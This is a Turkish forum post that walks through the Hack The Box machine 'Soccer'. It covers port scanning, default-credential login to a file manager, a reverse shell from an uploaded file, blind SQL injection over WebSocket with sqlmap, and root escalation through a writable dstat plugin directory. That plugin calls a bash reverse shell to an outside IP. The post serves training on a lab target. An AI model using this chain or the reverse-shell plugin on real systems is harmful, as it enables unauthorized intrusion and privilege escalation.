Soccer Çözümü - [Hack The Box]

Acivik

Üye
1686750084596.png

# Reconnaissance
Nmap
nmap taraması sonucunda 22(ssh), 80(http) ve 9091(websocket) olmak üzere üç adet açık tcp portu keşfediyoruz.

Bash:
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
|   256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_  256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open  xmltec-xmlmail?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest:
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 139
|     Date: Sat, 24 Dec 2022 14:50:19 GMT
|     Connection: close
[...]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OpenSSH versiyonuna göre hedef sistem üzerinde muhtemelen Ubuntu Focal çalışıyor.
Http servisi üzerinde nginx'in kurulu olduğunu ve soccer.htb adresine redirect yaptığını görüyoruz. Adresi /etc/hosts dosyasına kaydettim.

# Enumeration
WebSite - soccer.htb
soccerhtb.png


Statik bir sayfa karşılıyor. Dizin taraması yapacağım.

Directory Brute Force
Bash:
root@acivik:~/ctfs/Soccer# ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -u http://soccer.htb/FUZZ

        /'___\  /'___\           /'___\      
       /\ \__/ /\ \__/  __  __  /\ \__/      
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\    
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/    
         \ \_\   \ \_\  \ \____/  \ \_\      
          \/_/    \/_/   \/___/    \/_/      

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://soccer.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

tiny                    [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 63ms]
:: Progress: [62284/62284] :: Job [1/1] :: 695 req/sec :: Duration: [0:01:33] :: Errors: 3 ::
root@acivik:~/ctfs/Soccer#

Sadece tiny adında bir dizin bulabildim.

tiny.png


Tiny, dosyaları yönetmek için açık kaynak kodlu bir uygulamaymış. Login olabilmek için default credentials aradım ve buldum. (admin/admin@123)

tinyadmin.png


Admin olarak giriş yaptık. Şimdi kendi shellimizi kolayca yükleyebilir ve reverse shell alabiliriz.

Bash:
root@acivik:~/ctfs/Soccer# rlwrap nc -lnvp 1011
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1011
Ncat: Listening on 0.0.0.0:1011
Ncat: Connection from 10.10.11.194.
Ncat: Connection from 10.10.11.194:34604.
www-data@soccer:~/html/tiny/uploads$

# PrivEsc: www-data → player
netstat komutu ile sistemde dinlenen portlara göz attım.

Bash:
www-data@soccer:/home/player$ netstat -tunlp
netstat -tunlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name  
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                  
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1092/nginx: worker
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                  
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                  
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                  
tcp        0      0 0.0.0.0:9091            0.0.0.0:*               LISTEN      -                  
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                  
tcp6       0      0 :::80                   :::*                    LISTEN      1092/nginx: worker
tcp6       0      0 :::22                   :::*                    LISTEN      -                  
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                  
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -                  
www-data@soccer:/home/player$

nginx config dosyaları içerisinde yeni bir vhost keşfettim.

Bash:
drwxr-xr-x 2 root root 4096 Dec  1 13:48 /etc/nginx/sites-enabled
drwxr-xr-x 2 root root 4096 Dec  1 13:48 /etc/nginx/sites-enabled
lrwxrwxrwx 1 root root 41 Nov 17 08:39 /etc/nginx/sites-enabled/soc-player.htb -> /etc/nginx/sites-available/soc-player.htb
server {
    listen 80;
    listen [::]:80;
    server_name soc-player.soccer.htb;
    root /root/app/views;
    location / {
        proxy_pass http://localhost:3000;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection 'upgrade';
        proxy_set_header Host $host;
        proxy_cache_bypass $http_upgrade;
    }
}

3000 portuna proxy ayarlandığını görüyoruz. Yani port forwarding yapmamıza gerek kalmayacak adresi /etc/hosts dosyasına kaydetmemiz yeterli.

soccervhost.png


Sayfaya kayıt olduğumda ticket numarası veriyor. Onun haricinde pek bir numarası yok.
Kaynak kodlarına göz attım.

JavaScript:
var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
        window.onload = function () {
       
        var btn = document.getElementById('btn');
        var input = document.getElementById('id');
       
        ws.onopen = function (e) {
            console.log('connected to the server')
        }
        input.addEventListener('keypress', (e) => {
            keyOne(e)
        });
       
        function keyOne(e) {
            e.stopPropagation();
            if (e.keyCode === 13) {
                e.preventDefault();
                sendText();
            }
        }
       
        function sendText() {
            var msg = input.value;
            if (msg.length > 0) {
                ws.send(JSON.stringify({
                    "id": msg
                }))
            }
            else append("????????")
        }
        }
       
        ws.onmessage = function (e) {
        append(e.data)
        }
       
        function append(msg) {
        let p = document.querySelector("p");
        // let randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16);
        // p.style.color = randomColor;
        p.textContent = msg
        }

WebSocket, 9091 portuna bağlanarak tarayıcı ve sunucu arasında iki yönlü veri akışı sağlar.
Biraz google araştırması yaptıktan sonra şöyle bir şey buldum: https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html

Burada sqlmap'i kullanabilmek için websocket ile arasına köprü olarak http servisi başlatıyor. Fakat şu an öğreniyorum ki buna gerek yokmuş sqlmap zaten ws:// yi destekliyormuş. Ama ben bu makineyi çözerken bunu denemedim, direkt blog üzerinden gittim.

Blogta yazan python scriptini çalıştırdım.

Bash:
sqlmap -u "http://localhost:8081/?id=1" --batch --dbs
[...]
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 3605 FROM (SELECT(SLEEP(5)))AwlE)
---
[...]
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys

soccer_db içerisinde accounts tablosu bulunuyor onu dump ettim.

Bash:
sqlmap -u "http://localhost:8081/?id=1" --batch -D soccer_db -T accounts --dump
[...]
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id   | email             | password             | username |
+------+-------------------+----------------------+----------+
| 1324 | [email protected] | PlayerOftheMatch2022 | player   |
+------+-------------------+----------------------+----------+

player kullanıcısına ssh ile bağlanabilirim.

Bash:
root@acivik:~# sshpass -p 'PlayerOftheMatch2022' ssh [email protected]
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Dec 26 15:33:05 UTC 2022

  System load:           0.7
  Usage of /:            70.4% of 3.84GB
  Memory usage:          27%
  Swap usage:            0%
  Processes:             255
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.194
  IPv6 address for eth0: dead:beef::250:56ff:feb9:8abf

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Mon Dec 26 15:32:56 2022 from 10.10.14.83
player@soccer:~$

# PrivEsc: player → root
Yetki yükseltmek için her zamanki belirli check listimi uyguladım ve suid bitine sahip default olmayan bir dosya farkettim.

Bash:
player@soccer:~$ find / -perm -u=s -type f 2>/dev/null
/usr/local/bin/doas  <--
[...]
player@soccer:~$

doas da tıpkı sudo komutu gibidir. Config dosyasındaki kurallara uygun şekilde farklı kullanıcılar adına komut çalıştırmaya yarıyor.
conf dosyasına göz atalım.

Bash:
player@soccer:~$ find / -iname "*.conf" 2>/dev/null | grep doas
/usr/local/etc/doas.conf
player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
player@soccer:~$

root olarak /usr/bin/dstat dosyasını/komutunu çalıştırabiliyormuşuz.

Bash:
player@soccer:~$ doas -u root /usr/bin/dstat
You did not select any stats, using -cdngy by default.
--total-cpu-usage-- -dsk/total- -net/total- ---paging-- ---system--
usr sys idl wai stl| read  writ| recv  send|  in   out | int   csw
  7   4  89   0   0| 298k   99k|   0     0 |   0     0 |1208  2560
  6   0  94   0   0|   0    64k|  26k   21k|   0     0 | 827   848
  1   1  98   0   0|   0     0 |  25k   20k|   0     0 | 709   777
  1   1  99   0   0|   0     0 |  25k   19k|   0     0 | 722   743

Görüldüğü gibi parola istemedi.

Dstat'a ait dosyaları incelediğimde yazma yetkimin bulunduğu bir dizin buldum.
Bash:
player@soccer:~$ find / -name "dstat" -writable 2>/dev/null
/usr/local/share/dstat
player@soccer:~$

Diğer pluginler gibi ben de kendi pluginimi ekledim.

Bash:
player@soccer:/usr/local/share/dstat$ cat dstat_acivik.py
import os
os.system("bash -c 'exec bash -i &>/dev/tcp/10.10.14.83/1012 <&1'")
player@soccer:/usr/local/share/dstat$

Bunu çalıştırdığımda root kullanıcısından reverse shell alacağım.

Bash:
player@soccer:/usr/local/share/dstat$ doas -u root /usr/bin/dstat --acivik

-----

root@acivik:~# nc -lnvp 1012
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1012
Ncat: Listening on 0.0.0.0:1012
Ncat: Connection from 10.10.11.194.
Ncat: Connection from 10.10.11.194:53316.
root@soccer:/usr/local/share/dstat# cat /root/root.txt
cat /root/root.txt
6b968ff77e992585cb5c7796a9b3e1da
 
Moderatör tarafında düzenlendi:
Üst